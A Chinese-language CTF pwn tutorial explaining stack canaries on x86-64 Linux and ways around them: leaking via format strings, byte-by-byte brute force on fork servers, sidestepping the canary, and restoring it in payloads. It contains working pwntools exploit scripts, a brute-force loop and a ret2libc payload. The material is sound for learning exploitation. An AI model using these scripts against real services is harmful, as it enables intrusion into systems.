Canary与绕过
Canary与绕过
本文适合
已经理解 栈、返回地址与控制流,但遇到 Stack smashing detected、Canary 泄露或 fork 爆破卡点的 Pwn 学习者。学完你能:判断 Canary 是否阻断返回地址覆盖,选择泄露、爆破或绕开 Canary 的路线,并在 payload 中原样恢复 Canary 后继续劫持控制流
Canary 是栈保护机制。它的目标是检测栈上的返回地址附近是否被溢出破坏。理解 Canary 后,才能明白为什么有些栈溢出能崩溃,却不能直接劫持控制流。
Canary 放在哪里
一个简化栈帧可以理解为:
局部变量 buffer
Canary
saved rbp
return address函数返回前,程序会检查栈上的 Canary 是否和原始值一致。
如果被覆盖,程序会调用失败处理逻辑并终止。
Canary 解决什么问题
栈溢出要覆盖返回地址,通常必须经过 Canary。
如果攻击者不知道 Canary 的值,覆盖时就会破坏它,导致程序提前崩溃。
所以 Canary 不是阻止写越界,而是阻止你在不知道保护值的情况下安全返回。
常见 Canary 特征
64 位 Linux 上 Canary 常常有一个低字节 0x00。
这样可以让某些字符串函数在复制或打印时提前截断。
Canary 通常存在线程局部存储中,函数进入时复制到栈上,返回前再比较。
这些细节会影响泄露和覆盖方式。
常见绕过思路
泄露 Canary:通过格式化字符串、越界读、未初始化内存、打印栈内容等方式拿到值。
逐字节爆破:在 fork 型服务中,子进程崩溃不影响父进程,可以一字节一字节猜。
不覆盖 Canary:利用局部变量覆盖、函数指针、结构体字段、堆漏洞等路径绕开返回地址。
改控制流前先恢复 Canary:payload 中把正确 Canary 放回原位置,再覆盖返回地址。
Canary 和输入函数
不同输入函数对绕过影响很大。
如果输入会被 \x00 截断,写入 Canary 中的空字节会变麻烦。
如果输入按长度读取,例如 read,则可以写入任意字节。
所以分析 Canary 题时,要看数据是怎么读入的,而不是只看保护开启。
Canary 的内存布局细节
在 x86-64 Linux 中,函数序言(prologue)的典型汇编:
push rbp
mov rbp, rsp
sub rsp, 0x40 ; 分配局部变量空间
mov rax, fs:0x28 ; 从线程局部存储读取 Canary
mov [rbp-0x8], rax ; 放到栈上(saved rbp 之前)
; ... 函数体 ...
mov rax, [rbp-0x8] ; 重新读取栈上 Canary
xor rax, fs:0x28 ; 和原始值异或
jnz __stack_chk_fail ; 不一致则报错并终止
leave
retfs:0x28 是 TLS(线程局部存储)中 Canary 的固定位置。每个线程有不同的 Canary 值,子进程 fork 后继承父进程的 Canary。
技巧一:格式化字符串泄露 Canary
如果程序同时存在栈溢出和格式化字符串漏洞,可以用格式化字符串读取栈上 Canary 的值。
Canary 位于 rbp-0x8,在格式化字符串的栈参数中有一个固定偏移。
from pwn import *
p = remote('challenge.example.com', 10000)
# ---- 步骤1:确定 Canary 在格式化字符串参数中的偏移 ----
# 先用 %p 逐个打印栈上的值,找到 Canary(低字节为 0x00 的那个)
# 例如在第 7 个参数位置找到了 Canary
# 发送格式化字符串泄露 Canary
p.sendline(b'%7$p')
p.recvuntil(b'0x')
canary = int(p.recvline().strip(), 16)
log.success(f'Canary: {hex(canary)}')
# 验证 Canary 低字节为 0x00
assert canary & 0xff == 0, "Canary 低字节不是 0x00,可能偏移找错"
# ---- 步骤2:利用泄露的 Canary 构造溢出 payload ----
payload = b'A' * 64 # 填满局部变量 buffer
payload += p64(canary) # 原样放回 Canary
payload += b'B' * 8 # 覆盖 saved rbp
payload += p64(0x401234) # 覆盖返回地址
p.send(payload)
p.interactive()确定偏移的方法:在 GDB 中断在格式化字符串调用处,用 stack 20 命令查看栈内容,同时用 %1$p.%2$p.%3$p... 逐一尝试,对比哪个输出和栈上 Canary 值一致。
技巧二:fork 服务逐字节爆破
当程序使用 fork() 处理连接时,子进程继承父进程的 Canary。如果子进程崩溃不影响父进程,可以逐字节爆破 Canary。
from pwn import *
context.arch = 'amd64'
target = './vuln'
port = 10000
def try_canary(canary_bytes):
"""尝试当前已知的 Canary 前缀 + 一个猜测字节"""
p = remote('challenge.example.com', port)
# 64 位 Canary 是 8 字节,低字节固定为 0x00
# 所以实际上只需要爆破 7 个字节
payload = b'A' * 64 # buffer padding
payload += canary_bytes # 已知的 Canary 前缀 + 猜测字节
p.sendafter(b'input:', payload)
try:
response = p.recv(timeout=2)
if b'Stack' in response or b'smash' in response or not response:
p.close()
return False # Canary 被破坏,程序崩溃
p.close()
return True # Canary 正确,程序正常返回
except:
p.close()
return False
# ---- 逐字节爆破 ----
canary = b'\x00' # 最低字节固定为 0x00
for byte_pos in range(1, 8): # 爆破剩余 7 个字节
for guess in range(256):
attempt = canary + bytes([guess])
if try_canary(attempt):
canary = attempt
log.success(f'Byte {byte_pos} found: 0x{guess:02x}')
log.info(f'Current canary: {canary.hex()}')
break
else:
log.error(f'Failed to find byte {byte_pos}')
exit(1)
log.success(f'Full canary: 0x{u64(canary):016x}')
# ---- 用完整 Canary 构造 exploit ----
p = remote('challenge.example.com', port)
payload = b'A' * 64
payload += canary
payload += b'B' * 8
payload += p64(0x401234) # 目标地址
p.sendafter(b'input:', payload)
p.interactive()爆破效率:每字节最多 256 次尝试,7 字节最多 7 * 256 = 1792 次。在本地网络下通常几秒到几分钟完成。
技巧三:不覆盖 Canary 的利用路径
有些场景可以完全绕开 Canary:
- 覆盖 Canary 之前的局部变量:如果栈上有函数指针、回调地址、数组长度等关键数据,可以通过溢出覆盖它们,不需要碰 Canary。
- 覆盖 GOT 表项:如果 GOT 表在 Canary 之前被溢出覆盖,可以劫持控制流。
- 利用堆溢出:堆上没有 Canary 保护,堆溢出可以直接覆盖堆元数据或相邻对象。
# 示例:覆盖栈上的函数指针(不需要碰 Canary)
# 假设栈布局:
# [buffer 32字节][函数指针 8字节][Canary 8字节][saved rbp 8字节][ret addr 8字节]
payload = b'A' * 32 # 填满 buffer
payload += p64(target_addr) # 覆盖函数指针,不碰 Canary
# Canary、rbp、ret addr 都保持原样技巧四:泄露后原样恢复 Canary
最常见且最通用的方法:先泄露 Canary,再在溢出 payload 中把正确 Canary 放回原位。
关键点:
- Canary 的位置必须精确计算,通常通过 GDB 调试确认 buffer 到 Canary 的距离。
- 如果输入函数被
\x00截断,Canary 低字节的0x00会导致写入提前停止。此时需要用read()等不受\x00影响的输入方式,或者用格式化字符串分段写入。
常见误区
- 看到 Canary 就认为栈溢出不能利用。
- 泄露了 Canary 却忘记在 payload 中原样放回。
- 忽略 Canary 的空字节。
- 把本地 Canary 当成远程固定值。
- 不区分绕过 Canary 和绕过 ASLR。
一句话判断
栈溢出能覆盖到返回地址附近,但返回前出现 __stack_chk_fail、stack smashing detected 或进程直接 abort,就先判断 Canary 是否被破坏。
Canary 题的关键不是“再多填一点”,而是先获得或避开保护值,再把正确值放回原位置。
题目中常见信号
checksec显示Canary found。- 崩溃输出出现
stack smashing detected。 - 返回地址还没有被劫持,程序就在函数返回前退出。
- 格式化字符串、越界读或菜单
show能打印栈内容。 - 远程服务是 fork 模型,错误连接断开但服务主进程仍在。
- 溢出点前面还有函数指针、长度字段或局部变量可覆盖。
核心概念
Canary 位于局部变量和 saved rbp / return address 之间。只要覆盖返回地址时经过 Canary,就必须保证栈上的 Canary 与 TLS 中原始值一致。
常见绕过分三类:
泄露 Canary -> 原样恢复 -> 覆盖返回地址
fork 爆破 -> 拼出 8 字节 Canary -> 原样恢复
绕开 Canary -> 覆盖更早的函数指针、结构字段或走堆漏洞Canary 低字节常为 0x00,这会影响字符串读取和泄露解析。read 能写入空字节,gets、scanf("%s")、printf("%s") 这类字符串语义更容易被截断。
最小分析流程
checksec ./vuln确认 Canary 是否开启。- 用 cyclic 或调试确认溢出是否会经过 Canary。
- 观察崩溃点:是
__stack_chk_fail还是 RIP/EIP 可控。 - 寻找泄露:格式化字符串、越界读、未初始化内存、栈打印。
- 没有泄露时,判断远程是否 fork,可否逐字节爆破。
- 计算布局:
padding -> canary -> saved rbp -> ret。 - payload 中原样放回 Canary,再接 ROP 或 ret2win。
- 失败时先检查 Canary 偏移、字节序、空字节和远程进程模型。
最小验证示例
泄露并验证 Canary:
from pwn import *
p = process("./vuln")
p.sendline(b"%7$p")
canary = int(p.recvline().strip(), 16)
log.info(f"canary = {hex(canary)}")
assert canary & 0xff == 0放回 Canary 后覆盖返回地址:
payload = flat(
b"A" * 64,
canary,
b"B" * 8,
0x401234,
)
p.sendline(payload)成功标准:没有再触发 __stack_chk_fail,程序执行到你布置的返回地址或下一阶段 ROP。
常见利用 / 解题路线
路线总览:
路线一:格式化字符串泄露
先用 %p 找到低字节为 0 的栈值,再用固定位置读取 Canary。
%1$p.%2$p... -> 找 canary -> payload 原样恢复关联:格式化字符串基础。
路线二:越界读或 show 泄露
菜单题里常见 show(index) 没检查边界,或者字符串没有 \x00 终止,导致 Canary 被一起打印。
路线三:fork 爆破
父进程 fork 出子进程处理连接时,子进程继承 Canary。逐字节猜测,猜错子进程崩溃,猜对继续返回。
路线四:绕开 Canary
如果溢出前能覆盖函数指针、布尔变量、长度字段、堆指针,不一定需要碰返回地址。
路线五:泄露后 ret2libc / ROP
Canary 只解决“安全返回”,后续仍要按保护机制选择 ROP基础、ELF、PLT、GOT与libc 或 seccomp沙箱 路线。
常见失败原因
- 偏移错:Canary 放回位置不对,仍触发
__stack_chk_fail。 - 泄露值不是 Canary:只按
0x00低字节判断不够,还要结合 GDB 栈布局确认。 - 输入截断:
scanf("%s")或字符串 API 遇到\x00断开,导致 Canary 没写完整。 - 远程非 fork:爆破会把服务打死,不能按 fork 模型尝试。
- 本地远程 Canary 不同:Canary 每次进程启动随机,必须泄露当次进程的值。
- 忘记后续保护:绕过 Canary 后还要处理 NX、PIE、ASLR。
迷你案例
题目保护:
Canary found
NX enabled
No PIE输入 80 字节时程序输出 stack smashing detected。用 %15$p 泄露到:
0x6d3f0c1ab2e40000低字节为 00,GDB 中 [rbp-0x8] 也一致。最终 payload:
payload = flat(
b"A" * 64,
canary,
b"B" * 8,
pop_rdi,
elf.got["puts"],
elf.plt["puts"],
elf.symbols["main"],
)WP 中要写清楚:第一次崩溃不是 RIP 可控,而是 Canary 检查失败;泄露后原样恢复 Canary,才进入 ret2libc 泄露阶段。